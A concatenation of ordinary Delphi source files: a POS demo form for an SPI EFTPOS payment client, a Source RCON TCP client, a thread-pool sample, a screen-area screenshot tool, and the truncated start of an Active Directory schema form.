frmMain.Enabled := False;
end;
frmActions.Show;
frmActions.richEdtFlow.Lines.Clear();
frmActions.lblFlowMessage.Caption := e.Message;
if (e.ConfirmationCode <> '') then
begin
frmActions.richEdtFlow.Lines.Add('# Confirmation Code: ' +
e.ConfirmationCode);
end;
PrintFlowInfo;
TMyWorkerThread.Create(false);
end;
procedure SecretsChanged(e: SPIClient_TLB.Secrets); stdcall;
begin
SpiSecrets := e;
frmMain.btnSecretsClick(frmMain.btnSecrets);
end;
procedure SpiStatusChanged(e: SPIClient_TLB.SpiStatusEventArgs); stdcall;
begin
if (not Assigned(frmActions)) then
begin
frmActions := TfrmActions.Create(frmMain, Spi);
frmActions.PopupParent := frmMain;
frmMain.Enabled := False;
end;
frmActions.Show;
frmActions.lblFlowMessage.Caption := 'It''s trying to connect';
if (Spi.CurrentFlow = SpiFlow_Idle) then
frmActions.richEdtFlow.Lines.Clear();
PrintFlowInfo;
TMyWorkerThread.Create(false);
end;
procedure TMyWorkerThread.Execute;
begin
Synchronize(procedure begin
PrintStatusAndActions;
end
);
end;
procedure Start;
begin
LoadPersistedState;
_posId := frmMain.edtPosID.Text;
_eftposAddress := frmMain.edtEftposAddress.Text;
Spi := ComWrapper.SpiInit(_posId, _eftposAddress, SpiSecrets);
ComWrapper.Main(Spi, LongInt(@TxFlowStateChanged),
LongInt(@PairingFlowStateChanged), LongInt(@SecretsChanged),
LongInt(@SpiStatusChanged));
Spi.Start;
TMyWorkerThread.Create(false);
end;
procedure TfrmMain.btnPairClick(Sender: TObject);
begin
if (btnPair.Caption = 'Pair') then
begin
Spi.Pair;
btnSecrets.Visible := True;
edtPosID.Enabled := False;
edtEftposAddress.Enabled := False;
frmMain.lblStatus.Color := clYellow;
end
else if (btnPair.Caption = 'UnPair') then
begin
Spi.Unpair;
frmMain.btnPair.Caption := 'Pair';
frmMain.pnlTransActions.Visible := False;
frmMain.pnlOtherActions.Visible := False;
edtSecrets.Text := '';
lblStatus.Color := clRed;
end;
end;
procedure TfrmMain.FormClose(Sender: TObject; var Action: TCloseAction);
begin
if (FormExists(frmActions)) then
begin
frmActions.Close;
end;
Action := caFree;
end;
procedure TfrmMain.FormCreate(Sender: TObject);
begin
ComWrapper := CreateComObject(CLASS_ComWrapper) AS SPIClient_TLB.ComWrapper;
Spi := CreateComObject(CLASS_Spi) AS SPIClient_TLB.Spi;
SpiSecrets := CreateComObject(CLASS_Secrets) AS SPIClient_TLB.Secrets;
SpiSecrets := nil;
frmMain.edtPosID.Text := 'DELPHIPOS';
lblStatus.Color := clRed;
end;
procedure TfrmMain.btnPurchaseClick(Sender: TObject);
begin
if (not Assigned(frmActions)) then
begin
frmActions := frmActions.Create(frmMain, Spi);
frmActions.PopupParent := frmMain;
frmMain.Enabled := False;
end;
frmActions.Show;
frmActions.lblFlowMessage.Caption := 'Please enter the amount you would like to purchase for in cents';
frmActions.btnAction1.Visible := True;
frmActions.btnAction1.Caption := 'Purchase';
frmActions.btnAction2.Visible := True;
frmActions.btnAction2.Caption := 'Cancel';
frmActions.btnAction3.Visible := False;
frmActions.lblAmount.Visible := True;
frmActions.lblTipAmount.Visible := True;
frmActions.lblCashoutAmount.Visible := True;
frmActions.lblPrompt.Visible := True;
frmActions.edtAmount.Visible := True;
frmActions.edtAmount.Text := '0';
frmActions.edtTipAmount.Visible := True;
frmActions.edtTipAmount.Text := '0';
frmActions.edtCashoutAmount.Visible := True;
frmActions.edtCashoutAmount.Text := '0';
frmActions.radioPrompt.Visible := True;
frmMain.Enabled := False;
end;
procedure TfrmMain.btnRefundClick(Sender: TObject);
begin
if (not Assigned(frmActions)) then
begin
frmActions := frmActions.Create(frmMain, Spi);
frmActions.PopupParent := frmMain;
frmMain.Enabled := False;
end;
frmActions.Show;
frmActions.lblFlowMessage.Caption := 'Please enter the amount you would like to refund for in cents';
frmActions.btnAction1.Visible := True;
frmActions.btnAction1.Caption := 'Refund';
frmActions.btnAction2.Visible := True;
frmActions.btnAction2.Caption := 'Cancel';
frmActions.btnAction3.Visible := False;
frmActions.lblAmount.Visible := True;
frmActions.lblTipAmount.Visible := False;
frmActions.lblCashoutAmount.Visible := False;
frmActions.lblPrompt.Visible := False;
frmActions.edtAmount.Visible := True;
frmActions.edtAmount.Text := '0';
frmActions.edtTipAmount.Visible := False;
frmActions.edtCashoutAmount.Visible := False;
frmActions.radioPrompt.Visible := False;
frmMain.Enabled := False;
end;
procedure TfrmMain.btnCashOutClick(Sender: TObject);
begin
if (not Assigned(frmActions)) then
begin
frmActions := frmActions.Create(frmMain, Spi);
frmActions.PopupParent := frmMain;
frmMain.Enabled := False;
end;
frmActions.Show;
frmActions.lblFlowMessage.Caption := 'Please enter the amount you would like to cashout for in cents';
frmActions.btnAction1.Visible := True;
frmActions.btnAction1.Caption := 'Cash Out';
frmActions.btnAction2.Visible := True;
frmActions.btnAction2.Caption := 'Cancel';
frmActions.btnAction3.Visible := False;
frmActions.lblAmount.Visible := True;
frmActions.lblTipAmount.Visible := False;
frmActions.lblCashoutAmount.Visible := False;
frmActions.lblPrompt.Visible := False;
frmActions.edtAmount.Visible := True;
frmActions.edtAmount.Text := '0';
frmActions.edtTipAmount.Visible := False;
frmActions.edtCashoutAmount.Visible := False;
frmActions.radioPrompt.Visible := False;
frmMain.Enabled := False;
end;
procedure TfrmMain.btnMotoClick(Sender: TObject);
begin
if (not Assigned(frmActions)) then
begin
frmActions := frmActions.Create(frmMain, Spi);
frmActions.PopupParent := frmMain;
frmMain.Enabled := False;
end;
frmActions.Show;
frmActions.lblFlowMessage.Caption := 'Please enter the amount you would like to moto for in cents';
frmActions.btnAction1.Visible := True;
frmActions.btnAction1.Caption := 'MOTO';
frmActions.btnAction2.Visible := True;
frmActions.btnAction2.Caption := 'Cancel';
frmActions.btnAction3.Visible := False;
frmActions.lblAmount.Visible := True;
frmActions.lblTipAmount.Visible := False;
frmActions.lblCashoutAmount.Visible := False;
frmActions.lblPrompt.Visible := False;
frmActions.edtAmount.Visible := True;
frmActions.edtAmount.Text := '0';
frmActions.edtTipAmount.Visible := False;
frmActions.edtCashoutAmount.Visible := False;
frmActions.radioPrompt.Visible := False;
frmMain.Enabled := False;
end;
procedure TfrmMain.btnSaveClick(Sender: TObject);
begin
Start;
btnSave.Enabled := False;
if (edtPosID.Text = '') or (edtEftposAddress.Text = '') then
begin
showmessage('Please fill the parameters');
exit;
end;
if (radioReceipt.ItemIndex = 0) then
begin
Spi.Config.PromptForCustomerCopyOnEftpos := True;
end
else
begin
Spi.Config.PromptForCustomerCopyOnEftpos := False;
end;
if (radioSign.ItemIndex = 0) then
begin
Spi.Config.SignatureFlowOnEftpos := True;
end
else
begin
Spi.Config.SignatureFlowOnEftpos := False;
end;
Spi.SetPosId(edtPosID.Text);
Spi.SetEftposAddress(edtEftposAddress.Text);
frmMain.pnlStatus.Visible := True;
end;
procedure TfrmMain.btnSecretsClick(Sender: TObject);
begin
if (not Assigned(frmActions)) then
begin
frmActions := frmActions.Create(frmMain, Spi);
frmActions.PopupParent := frmMain;
frmMain.Enabled := False;
end;
frmActions.richEdtFlow.Clear;
if (SpiSecrets <> nil) then
begin
frmActions.richEdtFlow.Lines.Add('Pos Id: ' + _posId);
frmActions.richEdtFlow.Lines.Add('Eftpos Address: ' + _eftposAddress);
frmActions.richEdtFlow.Lines.Add('Secrets: ' + SpiSecrets.encKey + ':' +
SpiSecrets.hmacKey);
end
else
begin
frmActions.richEdtFlow.Lines.Add('I have no secrets!');
end;
frmActions.Show;
frmActions.btnAction1.Visible := True;
frmActions.btnAction1.Caption := 'OK';
frmActions.btnAction2.Visible := False;
frmActions.btnAction3.Visible := False;
frmActions.lblAmount.Visible := False;
frmActions.lblTipAmount.Visible := False;
frmActions.lblCashoutAmount.Visible := False;
frmActions.lblPrompt.Visible := False;
frmActions.edtAmount.Visible := False;
frmActions.edtTipAmount.Visible := False;
frmActions.edtCashoutAmount.Visible := False;
frmActions.radioPrompt.Visible := False;
frmMain.Enabled := False;
end;
procedure TfrmMain.btnSettleClick(Sender: TObject);
var
settleres: SPIClient_TLB.InitiateTxResult;
amount: Integer;
begin
if (not Assigned(frmActions)) then
begin
frmActions := frmActions.Create(frmMain, Spi);
frmActions.PopupParent := frmMain;
frmMain.Enabled := False;
end;
frmActions.Show;
frmActions.btnAction1.Visible := True;
frmActions.btnAction1.Caption := 'Cancel';
frmActions.btnAction2.Visible := False;
frmActions.btnAction3.Visible := False;
frmActions.lblAmount.Visible := False;
frmActions.lblTipAmount.Visible := False;
frmActions.lblCashoutAmount.Visible := False;
frmActions.lblPrompt.Visible := False;
frmActions.edtAmount.Visible := False;
frmActions.edtTipAmount.Visible := False;
frmActions.edtCashoutAmount.Visible := False;
frmActions.radioPrompt.Visible := False;
frmMain.Enabled := False;
settleres := CreateComObject(CLASS_InitiateTxResult)
AS SPIClient_TLB.InitiateTxResult;
settleres := Spi.InitiateSettleTx(ComWrapper.Get_Id('settle'));
if (settleres.Initiated) then
begin
frmActions.richEdtFlow.Lines.Add
('# Settle Initiated. Will be updated with Progress.');
end
else
begin
frmActions.richEdtFlow.Lines.Add('# Could not initiate settlement: ' +
settleres.Message + '. Please Retry.');
end;
end;
procedure TfrmMain.btnSettleEnqClick(Sender: TObject);
var
senqres: SPIClient_TLB.InitiateTxResult;
amount: Integer;
begin
if (not Assigned(frmActions)) then
begin
frmActions := frmActions.Create(frmMain, Spi);
frmActions.PopupParent := frmMain;
frmMain.Enabled := False;
end;
frmActions.Show;
frmActions.btnAction1.Visible := True;
frmActions.btnAction1.Caption := 'Cancel';
frmActions.btnAction2.Visible := False;
frmActions.btnAction3.Visible := False;
frmActions.lblAmount.Visible := False;
frmActions.lblTipAmount.Visible := False;
frmActions.lblCashoutAmount.Visible := False;
frmActions.lblPrompt.Visible := False;
frmActions.edtAmount.Visible := False;
frmActions.edtTipAmount.Visible := False;
frmActions.edtCashoutAmount.Visible := False;
frmActions.radioPrompt.Visible := False;
frmMain.Enabled := False;
senqres := CreateComObject(CLASS_InitiateTxResult)
AS SPIClient_TLB.InitiateTxResult;
senqres := Spi.InitiateSettlementEnquiry(ComWrapper.Get_Id('stlenq'));
if (senqres.Initiated) then
begin
frmActions.richEdtFlow.Lines.Add
('# Settle Enquiry Initiated. Will be updated with Progress.');
end
else
begin
frmActions.richEdtFlow.Lines.Add('# Could not initiate settlement enquiry: ' +
senqres.Message + '. Please Retry.');
end;
end;
procedure TfrmMain.btnLastTxClick(Sender: TObject);
var
gltres: SPIClient_TLB.InitiateTxResult;
begin
if (not Assigned(frmActions)) then
begin
frmActions := frmActions.Create(frmMain, Spi);
frmActions.PopupParent := frmMain;
frmMain.Enabled := False;
end;
frmActions.Show;
frmActions.btnAction1.Visible := True;
frmActions.btnAction1.Caption := 'Cancel';
frmActions.btnAction2.Visible := False;
frmActions.btnAction3.Visible := False;
frmActions.lblAmount.Visible := False;
frmActions.lblTipAmount.Visible := False;
frmActions.lblCashoutAmount.Visible := False;
frmActions.lblPrompt.Visible := False;
frmActions.edtAmount.Visible := False;
frmActions.edtTipAmount.Visible := False;
frmActions.edtCashoutAmount.Visible := False;
frmActions.radioPrompt.Visible := False;
frmMain.Enabled := False;
gltres := CreateComObject(CLASS_InitiateTxResult)
AS SPIClient_TLB.InitiateTxResult;
gltres := Spi.InitiateGetLastTx;
if (gltres.Initiated) then
begin
frmActions.richEdtFlow.Lines.Add
('# GLT Initiated. Will be updated with Progress.');
end
else
begin
frmActions.richEdtFlow.Lines.Add('# Could not initiate GLT: ' +
gltres.Message + '. Please Retry.');
end;
end;
procedure TfrmMain.btnRecoverClick(Sender: TObject);
var
rres: SPIClient_TLB.InitiateTxResult;
amount: Integer;
begin
if (not Assigned(frmActions)) then
begin
frmActions := frmActions.Create(frmMain, Spi);
frmActions.PopupParent := frmMain;
frmMain.Enabled := False;
end;
if (edtReference.Text = '') then
begin
ShowMessage('Please enter refence!');
end
else
begin
frmActions.Show;
frmActions.btnAction1.Visible := True;
frmActions.btnAction1.Caption := 'Cancel';
frmActions.btnAction2.Visible := False;
frmActions.btnAction3.Visible := False;
frmActions.lblAmount.Visible := True;
frmActions.lblTipAmount.Visible := False;
frmActions.lblCashoutAmount.Visible := False;
frmActions.lblPrompt.Visible := False;
frmActions.edtAmount.Visible := False;
frmActions.edtTipAmount.Visible := False;
frmActions.edtCashoutAmount.Visible := False;
frmActions.radioPrompt.Visible := False;
frmMain.Enabled := False;
rres := CreateComObject(CLASS_InitiateTxResult)
AS SPIClient_TLB.InitiateTxResult;
rres := Spi.InitiateRecovery(edtReference.Text, TransactionType_Purchase);
if (rres.Initiated) then
begin
frmActions.richEdtFlow.Lines.Add
('# Recovery Initiated. Will be updated with Progress.');
end
else
begin
frmActions.richEdtFlow.Lines.Add('# Could not initiate recovery: ' +
rres.Message + '. Please Retry.');
end;
end;
end;
end.
|
unit SourceRcon;
interface
uses
System.Types, System.Classes, System.SysUtils, IdTCPClient, IdGlobal;
type
TSourceRconClient = class
private type
TOnMessage = procedure(const aRespID: Integer; const aPayload: string)
of object;
TOnConnected = procedure of object;
TOnDisconnected = procedure of object;
TOnAuth = procedure(const Success: Boolean) of object;
private type
TRconPacketType = (SERVERDATA_RESPONSE_VALUE = 0,
SERVERDATA_EXECCOMMAND = 1, SERVERDATA_AUTH_RESPONSE = 2,
SERVERDATA_AUTH = 3);
private
fTCPClient: TIdTCPClient;
fHost: string;
fPort: Integer;
fPassword: string;
fLastConnectError: string;
// Thread to read responses;
fReadThread: TThread;
// Events
fOnMessage: TOnMessage;
fOnConnected: TOnConnected;
fOnDisconnected: TOnDisconnected;
fOnAuth: TOnAuth;
procedure DoOnConnected(Sender: TObject);
procedure DoOnDisconnected(Sender: TObject);
procedure StartReadThread;
function SendPacket(const aReqID: Int32; PktType: TRconPacketType;
const Payload: string): Int32;
function ReadPacket(var PktType: Integer; var Payload: String): Int32;
public
procedure SendCommand(const aID: Int32; const aPayload: string);
function Connect(const aTimeout: Integer = 10000): Boolean;
procedure Disconnect;
constructor Create(aHost: string; aPort: Integer; aPassword: string);
destructor Destroy; override;
published
// Events
property OnConnected: TOnConnected read fOnConnected write fOnConnected;
property OnDisconnected: TOnDisconnected read fOnDisconnected
write fOnDisconnected;
property OnMessage: TOnMessage read fOnMessage write fOnMessage;
property OnAuth: TOnAuth read fOnAuth write fOnAuth;
//
property Host: string read fHost;
property Port: Integer read fPort;
property Password: string read fPassword;
property LastConnectError: string read fLastConnectError;
end;
implementation
{ TSourceRconClient }
function TSourceRconClient.Connect(const aTimeout: Integer): Boolean;
begin
Result := False;
try
fTCPClient.ConnectTimeout := aTimeout;
fTCPClient.Host := fHost;
fTCPClient.Port := fPort;
fTCPClient.Connect;
if fTCPClient.Connected then
Result := True;
except
on E: Exception do
begin
fLastConnectError := E.Message;
Result := False;
end;
end;
end;
constructor TSourceRconClient.Create(aHost: string; aPort: Integer;
aPassword: string);
begin
fHost := aHost;
fPort := aPort;
fPassword := aPassword;
fTCPClient := TIdTCPClient.Create(nil);
fTCPClient.OnConnected := DoOnConnected;
fTCPClient.OnDisconnected := DoOnDisconnected;
end;
destructor TSourceRconClient.Destroy;
begin
if fTCPClient.Connected then
fTCPClient.Disconnect;
fTCPClient.Free;
inherited;
end;
procedure TSourceRconClient.Disconnect;
begin
fTCPClient.Disconnect;
end;
procedure TSourceRconClient.DoOnConnected(Sender: TObject);
begin
StartReadThread;
// Auth
SendPacket(0, TRconPacketType.SERVERDATA_AUTH, fPassword);
if Assigned(fOnConnected) then
fOnConnected;
end;
procedure TSourceRconClient.DoOnDisconnected(Sender: TObject);
begin
if Assigned(fOnDisconnected) then
fOnDisconnected;
end;
function TSourceRconClient.ReadPacket(var PktType: Integer;
var Payload: String): Int32;
var
Len: Int32;
begin
try
Len := fTCPClient.IOHandler.ReadInt32(False);
Result := fTCPClient.IOHandler.ReadInt32(False);
PktType := fTCPClient.IOHandler.ReadInt32(False);
Payload := fTCPClient.IOHandler.ReadString(Len - 10,
IndyTextEncoding_UTF8).Trim;
fTCPClient.IOHandler.Discard(2);
except
fTCPClient.Disconnect;
raise;
end;
end;
procedure TSourceRconClient.SendCommand(const aID: Int32;
const aPayload: string);
begin
SendPacket(aID, TRconPacketType.SERVERDATA_EXECCOMMAND, aPayload);
end;
function TSourceRconClient.SendPacket(const aReqID: Int32;
PktType: TRconPacketType; const Payload: string): Int32;
var
Bytes: TIdBytes;
begin
if not fTCPClient.Connected then
Exit;
Bytes := IndyTextEncoding_ASCII.GetBytes(Payload);
try
fTCPClient.IOHandler.WriteBufferOpen;
try
fTCPClient.IOHandler.Write(Int32(Length(Bytes) + 10), False);
fTCPClient.IOHandler.Write(aReqID, False);
fTCPClient.IOHandler.Write(Integer(PktType), False);
fTCPClient.IOHandler.Write(Bytes);
fTCPClient.IOHandler.Write(UInt16(0), False);
fTCPClient.IOHandler.WriteBufferClose;
except
fTCPClient.IOHandler.WriteBufferCancel;
raise;
end;
except
fTCPClient.Disconnect;
raise;
end;
end;
procedure TSourceRconClient.StartReadThread;
begin
fReadThread := TThread.CreateAnonymousThread(
procedure
begin
while fTCPClient.Connected do
begin
var
RespID: Int32;
var
PktType: Int32;
var
Payload: string;
try
if fTCPClient.IOHandler.InputBufferIsEmpty then
begin
fTCPClient.IOHandler.CheckForDataOnSource(0);
fTCPClient.IOHandler.CheckForDisconnect(True, False);
end;
if not fTCPClient.IOHandler.InputBufferIsEmpty then
begin
RespID := ReadPacket(PktType, Payload);
var
aPktType := TRconPacketType(PktType);
// AuthResponse;
if aPktType = TRconPacketType.SERVERDATA_AUTH_RESPONSE then
begin
if RespID = -1 then
begin
// Auth Failed
if Assigned(fOnAuth) then
begin
TThread.Synchronize(fReadThread,
procedure
begin
fOnAuth(False);
end);
end;
end
else
begin
// Auth Success
if Assigned(fOnAuth) then
begin
TThread.Synchronize(fReadThread,
procedure
begin
fOnAuth(True);
end);
end;
end;
end;
// Response from Command
if aPktType = TRconPacketType.SERVERDATA_RESPONSE_VALUE then
begin
Payload := Payload.Trim;
if Assigned(fOnMessage) then
begin
TThread.Synchronize(fReadThread,
procedure
begin
fOnMessage(RespID, Payload);
end);
end;
end;
end;
except
fTCPClient.Disconnect;
end;
end;
end);
fReadThread.FreeOnTerminate := True;
fReadThread.Start;
end;
end.
|
unit uTestFrm;
{
The sample of using TctsThreadPool.
uses memo.lines as a source of request and
MessageBox procedure as processing
}
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ctsCommons, ctsThreads, StdCtrls, ExtCtrls;
const
WM_U_EMPTY = WM_USER + 1;
type
TForm1 = class(TForm)
Memo1: TMemo;
Button1: TButton;
Memo2: TMemo;
Timer1: TTimer;
btnFreeThreadPool: TButton;
procedure Button1Click(Sender: TObject);
procedure btnFreeThreadPoolClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
private
FThreadPool: TctsThreadPool;
procedure PoolEmpty(var Msg: TMessage); message WM_U_EMPTY;
public
procedure FThreadPoolProcessRequest(Sender: TctsThreadPool; aDataObj: IctsTaskData; aThread: TctsPoolingThread);
procedure FThreadPoolQueueEmpty(Sender: TctsTaskQueue);
procedure FThreadPoolTaskEmpty(Sender: TctsThreadPool);
end;
var
Form1: TForm1;
implementation
//uses
// FileCtrl;
{$R *.DFM}
type
IMyDo = interface(IctsTaskData)
['{45A89C0E-4ADC-4112-A1EE-2F195018FBD1}']
function GetStr: string;
procedure SetStr(const Value: string);
property Str: string read GetStr write SetStr;
end;
TMyDO = class(TctsTaskData, IMyDo)
protected
FStr: string;
function GetStr: string;
procedure SetStr(const Value: string);
public
function Clone: IctsTaskData; override;
function Duplicate(DataObj: IctsTaskData; const Processing: Boolean): Boolean; override;
constructor Create(const s: string);
function Info: string; override;
end;
{ TMyDO }
function TMyDO.Clone: IctsTaskData;
begin
Result := Self;
end;
constructor TMyDO.Create(const s: string);
begin
FStr := s;
end;
function TMyDO.Duplicate(DataObj: IctsTaskData; const Processing: Boolean): Boolean;
begin
Result := inherited Duplicate(DataObj, Processing);
// Result := Self.Str = TMyDO(DataObj).Str;
end;
function TMyDO.GetStr: string;
begin
Result := FStr;
end;
function TMyDO.Info: string;
begin
Result := 'Request: "' + FStr + '"';
end;
procedure TMyDO.SetStr(const Value: string);
begin
FStr := Value;
end;
procedure TForm1.Button1Click(Sender: TObject);
var
s: string;
i: Integer;
begin
for i := 0 to Memo1.Lines.Count - 1 do
begin
s := Trim(Memo1.Lines[i]);
if s <> '' then
begin
FThreadPool.AddRequest(TMyDO.Create(s), [cdQueue, cdProcessing]);
end;
end;
end;
var
CurFileHandle: THandle;
FileOpenDay: Integer;
csLog: TRTLCriticalSection;
procedure LogMessage(const Str: string; const LogID: Integer);
var
Msg: string;
Buf: array[0..MAX_PATH] of Char;
CurFileName: string;
CurDay: Integer;
n: Cardinal;
const
sMsgLevelMarkers: array[0..10] of string =
('', '', 't:', 'i:', 'I:', 'w:', 'W:',
'e:', 'E:', 'Error:', '!!! Fatal error !!!: ');
begin
EnterCriticalSection(csLog);
try
CurDay := trunc(Date);
if CurDay > FileOpenDay then // It's a time to switch to other log file
begin
if CurFileHandle <> INVALID_HANDLE_VALUE then
CloseHandle(CurFileHandle);
GetModuleFileName(HInstance, Buf, SizeOf(Buf));
CurFileName := ExtractFilePath(Buf) + 'Logs\' + ExtractFileName(Buf) + FormatDateTime('YYYY_MM_DD', Date) + '.log';
ForceDirectories(ExtractFilePath(CurFileName));
CurFileHandle := CreateFile(PChar(CurFileName), GENERIC_WRITE, FILE_SHARE_READ,
nil, OPEN_ALWAYS, FILE_FLAG_WRITE_THROUGH or FILE_FLAG_SEQUENTIAL_SCAN, 0);
if CurFileHandle <> INVALID_HANDLE_VALUE then
SetFilePointer(CurFileHandle, 0, nil, FILE_END);
FileOpenDay := CurDay;
end;
if CurFileHandle = INVALID_HANDLE_VALUE then
Exit;
finally
LeaveCriticalSection(csLog);
end;
Msg := Format('(%5d) ', [GetCurrentThreadId]) + FormatDateTime('HH:NN:SS: ', Now) + Str + #13#10;
WriteFile(CurFileHandle, Msg[1], Length(Msg), n, nil);
end;
procedure TForm1.btnFreeThreadPoolClick(Sender: TObject);
begin
Timer1.Enabled := False;
CloseHandle(CurFileHandle);
FThreadPool.Free;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
FThreadPool := TctsThreadPool.Create;
TraceLog := LogMessage;
FThreadPool.ThreadsMinCount := 5;
FThreadPool.ThreadsMaxCount := 10;
// FThreadPool.MinAtLeast := True;
FThreadPool.OnProcessRequest := FThreadPoolProcessRequest;
FThreadPool.OnTaskEmpty := FThreadPoolTaskEmpty;
FThreadPool.TaskQueue.OnQueueEmpty := FThreadPoolQueueEmpty;
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
CloseHandle(CurFileHandle);
FThreadPool.Free;
end;
procedure TForm1.Timer1Timer(Sender: TObject);
var
s: string;
begin
s := FThreadPool.Info;
if s <> Memo2.Lines.Text then
Memo2.Lines.Text := s;
end;
procedure TForm1.FThreadPoolProcessRequest(Sender: TctsThreadPool; aDataObj: IctsTaskData; aThread: TctsPoolingThread);
begin
MessageBox(0, PChar((aDataObj as IMyDO).Str), PChar(Format('ThreadID=%d', [GetCurrentThreadId])), 0);
end;
procedure TForm1.FThreadPoolQueueEmpty(Sender: TctsTaskQueue);
begin
PostMessage(Handle, WM_U_EMPTY, 1, integer(Sender));
end;
procedure TForm1.FThreadPoolTaskEmpty(Sender: TctsThreadPool);
begin
PostMessage(Handle, WM_U_EMPTY, 2, integer(Sender));
end;
procedure TForm1.PoolEmpty(var Msg: TMessage);
begin
case Msg.wParam of
1:
ShowMessage('ThreadPoolEvent: The queue is empty');
2:
ShowMessage('ThreadPoolEvent: Processing finished');
end;
end;
initialization
InitializeCriticalSection(csLog);
finalization
DeleteCriticalSection(csLog);
end.
|
unit Unit2;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, PNGImage;
type
TCaptureArea = class(TForm)
procedure FormCreate(Sender: TObject);
procedure FormMouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
procedure FormMouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
procedure FormMouseUp(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
private
{ Private declarations }
public
{ Public declarations }
end;
var
CaptureArea: TCaptureArea;
isDown: Boolean;
downX, downY: integer;
implementation
uses Unit1;
{$R *.dfm}
function GetDesktopWidth: integer;
var
i: integer;
begin
Result:=Screen.Width;
if Screen.MonitorCount > 0 then
for i:=1 to Screen.MonitorCount - 1 do
Result:=Result + Screen.Monitors[i].Width;
end;
function GetDesktopHeight: integer;
var
i: integer;
begin
Result:=Screen.Height;
if Screen.MonitorCount > 0 then
for i:=1 to Screen.MonitorCount - 1 do
if Screen.Monitors[i].Height > Result then
Result:=Screen.Monitors[i].Height;
end;
procedure TCaptureArea.FormCreate(Sender: TObject);
begin
Left:=0;
Top:=0;
Width:=GetDesktopWidth;
Height:=GetDesktopHeight;
Caption:=ID_CAPTURE_AREA_TITLE;
end;
procedure TCaptureArea.FormMouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
begin
isDown:=true;
downX:=X;
downY:=Y;
end;
procedure TCaptureArea.FormMouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
begin
if isDown then begin
if GetAsyncKeyState(VK_ESCAPE) <> 0 then begin //Для непредвиденных обстоятельств и выводом окон во время создания скриншота.
isDown:=false;
Close;
end;
Self.Repaint;
Self.Canvas.Pen.Color:=clWhite;
//Self.Canvas.Pen.Width:=2;
//Self.Canvas.Pen.Style:=psSolid;
//Self.Canvas.Pen.Style:=psDash;
Self.Canvas.Pen.Style:=psDot;
Self.Canvas.Brush.Color:=clFuchsia;
Self.Canvas.Rectangle(downX, downY, X, Y);
{Self.Canvas.Rectangle(downX-3, downY-3, downX+3, downY+3);
Self.Canvas.Rectangle(X-3, Y-3, X+3, Y+3);
Self.Canvas.Rectangle(X-3, downY-3, X+3, downY+3);
Self.Canvas.Rectangle(downX-3, Y-3, downX+3, Y+3);
Self.Canvas.Rectangle(downX-3, (downY+Y) div 2-3, downX+3,(downY+Y) div 2+3);
Self.Canvas.Rectangle(X-3, (downY + Y) div 2-3, X+3,(downY + Y) div 2+3);
Self.Canvas.Rectangle((downX+X) div 2-3, downY-3,(downX + X) div 2+3, downY + 3);
Self.Canvas.Rectangle((downX+X) div 2-3, Y-3, (downX + X) div 2+3,Y+3);}
end;
end;
procedure TCaptureArea.FormMouseUp(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
var
MyRect: TRect;
PNG: TPNGObject;
Bitmap: TBitmap;
FileCounter, CrdTmp: integer;
ScreenDC: HDC;
begin
isDown:=false;
if (DownX = X) or (DownY = Y) then begin
Main.StatusBar.SimpleText:=' ' + ID_WRONG_CAPTURE_AREA;
Close;
Exit;
end;
if (GetAsyncKeyState(VK_ESCAPE) and $8000) <> 0 then begin
Main.StatusBar.SimpleText:=' ' + ID_CAPTURE_AREA_CANCELED;
Close;
Exit;
end;
if DownX > X then begin
CrdTmp:=downX;
DownX:=X;
X:=CrdTmp;
end;
if DownY > Y then begin
CrdTmp:=DownY;
DownY:=Y;
Y:=CrdTmp;
end;
MyRect.Left:=downX;
MyRect.Top:=downY;
MyRect.Right:=X;
MyRect.Bottom:=Y;
CaptureArea.Visible:=false;
Bitmap:=TBitmap.Create;
Bitmap.Width:=MyRect.Right - MyRect.Left;
Bitmap.Height:=MyRect.Bottom - MyRect.Top;
ScreenDC:=GetDC(0);
try
BitBlt(Bitmap.Canvas.Handle, 0, 0, Bitmap.Width, Bitmap.Height, ScreenDC, MyRect.Left, MyRect.Top, SRCCOPY);
finally
ReleaseDC(0, ScreenDC);
end;
PNG:=TPNGObject.Create;
PNG.Assign(Bitmap);
FileCounter:=0;
while true do begin
Inc(FileCounter);
if not FileExists(MyPath + ScrName + IntToStr(FileCounter) + '.png') then begin
PNG.SaveToFile(MyPath + ScrName + IntToStr(FileCounter)+ '.png');
if Main.UploadCB.Checked = false then begin
Main.StatusBar.SimpleText:=' ' + ID_SCREENSHOT_SAVED;
if (UseHotKey) and (UseTray) then
Main.ShowNotify(ID_SCREENSHOT_SAVED);
end;
break;
end;
end;
PNG.Free;
Bitmap.Free;
if (FileExists(MyPath + ScrName + IntToStr(FileCounter) + '.png')) and (Main.UploadCB.Checked) then begin
Main.PicToHost(MyPath + ScrName + IntToStr(FileCounter) + '.png');
if Main.SaveCB.Checked = false then
DeleteFile(MyPath + ScrName + IntToStr(FileCounter) + '.png');
end;
Close;
end;
procedure TCaptureArea.FormClose(Sender: TObject; var Action: TCloseAction);
begin
if UseTray = false then
Main.AppShow;
end;
end.
|
unit AddPage;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ComCtrls, StdCtrls, Buttons, ExtCtrls, ADSchemaUnit, ADSchemaTypes,
ErrorPage, SelectPage;
type
OptionClass = class
comboBox : TComboBox;
edit : TEdit;
deleteBtn : TSpeedButton;
onLoadEditText : string;
public
constructor Create(cbx: TComboBox; ed: TEdit; dbtn: TSpeedButton; onLoadText : string);
end;
TAddForm = class(TForm)
PageControl1: TPageControl;
TabSheet1: TTabSheet;
LabelName: TLabel;
LabelType: TLabel;
EditName: TEdit;
ComboBoxType: TComboBox;
GroupBox1: TGroupBox;
OIDLabel: TLabel;
SyntaxLabel: TLabel;
OIDEdit: TEdit;
